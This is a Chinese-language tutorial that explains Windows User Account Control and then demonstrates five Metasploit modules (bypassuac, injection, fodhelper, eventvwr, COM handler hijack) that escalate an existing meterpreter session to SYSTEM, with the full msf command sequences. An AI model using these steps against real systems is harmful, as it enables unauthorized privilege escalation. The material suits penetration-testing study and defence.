大家好,今天,我們將淺析用戶帳戶控制(簡稱UAC)。我們還將了解它如何保護你免受惡意軟件的入侵,如若忽略UAC提示,可能會對你的系統造成不良影響。
目錄
· UAC簡介
· UAC是什么
· UAC工作原理
5種繞過UAC的方法
1.Windows升級UAC保護繞過
2.Windows升級UAC保護繞過(內存注入繞過)
3.Windows UAC保護繞過(FodHelper注冊表鍵值繞過)
4.Windows升級UAC保護繞過(Eventvwr注冊表鍵值繞過)
5.Windows升級UAC保護繞過(COM Handler劫持繞過)
用戶賬戶控制(UAC)介紹
什么是用戶賬戶控制?
在Microsoft Windows Vista和Windows Server 2008操作系統中引入了結構良好的用戶帳戶控制,因為不必要的系統范圍的更改是難以避免的,而UAC策略可以防止這種更改,并且只需要很少的工作量。
換句話說,它是Windows的一項安全功能,它可以讓我來防止對操作系統進行未經授權的修改。UAC確保某些修改只能在administrator授權下才能進行。如果administrator不允許更改,則不會執行這些更改,Windows保持不變。
UAC工作原理?
UAC阻止程序執行涉及系統更改/特定任務的任何任務。除非嘗試執行它們的進程以管理員權限運行,否則這些操作將無法運行。如果以管理員身份運行程序,它會具有更多權限,因為與未以管理員身份運行的程序相比,它的權限得到了提升。
沒有管理員權限就無法完成的一些事情:
· 注冊表修改(如果注冊表項在HKEY_LOCAL_MACHINE下(因為它影響多個用戶),它將是只讀的)
· 加載設備驅動程序
· DLL注入
· 修改系統時間(時鐘)
· 修改用戶帳戶控制設置(通過注冊表,可以啟用/禁用它,但你需要正確的權限才能執行此操作)
· 修改受保護的目錄(例如Windows文件夾,Program Files)
· 計劃任務(例如,以管理員權限自動啟動)
UAC不會自動阻止惡意軟件,目的并不是判斷程序是否是惡意軟件。是不是惡意軟件還是得取決于用戶。如果要以管理員權限執行程序,UAC將提醒用戶并且需要用戶進行確認。
另請閱讀:UAC的重要性及如何保護你的安全
繞過UAC的5中方法
首先對目標機器進行漏洞利用以獲取meterpreter會話。獲得meterpreter會話1后,輸入以下命令以檢查系統權限和特權。
getsystem
getuid
如果你沒有系統/管理員權限,那么你就需要繞過目標系統的UAC保護。
Windows升級UAC保護繞過
此模塊將通過進程注入利用受信任的發布者證書繞過Windows UAC。這將產生第二個shell,而且UAC保護已經關閉。
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
從下圖可以看到,又建立了一個meterpreter會話2連接,現在輸入getsystem和getuid兩條命令來查看系統權限:

太好了,我們獲得了NT AUTHORITY\SYSTEM權限。現在你只要輸入shell命令,你就會進入一個具有管理員權限的命令行窗口。
Windows升級UAC保護繞過(內存注入)
此模塊將通過進程注入利用受信任的發布者證書繞過Windows UAC。這將產生第二個shell,而且UAC保護已經關閉。此模塊使用反射DLL注入技術僅刪除DLLpayload二進制文件而不是刪除標準技術中的三個單獨的二進制文件。但是,它需要選擇正確的體系結構(對于SYSWOW64系統也使用x64)。如果指定EXE :: Custom,你的DLL應該在單獨的進程中啟動payload后調用ExitProcess()。
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
從下圖中可以看出,meterpreter 會話2已經成功打開,現在輸入getsystem和getuid兩條命令來查看權限。

最終,你也會拿到NT AUTHORITY\SYSTEM權限,現在只需要輸入shell命令,就可以進入一個具有管理員權限的命令行窗口。
Windows升級UAC保護繞過(FodHelper注冊表鍵值繞過)
此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵并插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。這將產生第二個shell,而且UAC保護已經關閉。此模塊修改注冊表項,但在調用payload后清除該項。該模塊不要求payload的結構與OS匹配。如果指定EXE :: Custom,你的DLL應該在單獨的進程中啟動payload后調用ExitProcess()。
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
從下圖中,可以看到,meterpreter會話2已經成功打開,輸入getsystem和getuid兩條命令來查看權限

非常不錯,我們獲得了NT AUTHORITY\SYSTEM權限,輸入shell命令,就能拿到管理員的命令行窗口了。
Windows升級UAC保護繞過(Eventvwr注冊表鍵值繞過)
此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵并插入自定義命令,這個命令將在啟動Windows fodhelper.exe應用程序時調用來繞過Windows 10 UAC。這將產生第二個shell,而且UAC保護已經關閉。此模塊修改注冊表項,但在調用payload后清除該項。該模塊不要求payload的結構與OS匹配。如果指定EXE :: Custom,你的DLL應該在單獨的進程中啟動payload后調用ExitProcess()。執行命令如下:
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
從下圖中,可以看到,meterpreter會話2已經上線,輸入getsystem和getuid兩條命令來查看是否是system權限。

再一次,我們獲取了NT AUTHORITY\SYSTEM權限。
Windows升級UAC保護繞過(COM Handler劫持繞過)
此模塊將通過在HKCU配置單元中創建COM處理程序注冊表項來繞過Windows UAC。加載某些高完整性進程時,會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL包含導致會話升級的payload。在payload調用后清除注冊表項修改。此模塊要求payload的體系結構與OS匹配,但當前的低權限Meterpreter會話的體系結構并不相同。如果指定EXE :: Custom,你的DLL應該在單獨的進程中啟動payload后調用ExitProcess()。此模塊通過目標上的cmd.exe調用目標二進制文件。因此,如果限制cmd.exe訪問,則此模塊將無法正常運行。
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
如下圖所示,meterpreter會話2已經建立連接,輸入getsystem和getuid兩條命令來查看是否是system權限。

最終,還是得到了NT AUTHORITY\SYSTEM權限,同理,輸入shell獲取管理員權限的命令窗口。如此一來,我們便借助了metasploit 后滲透漏洞利用來繞過UAC保護了。
|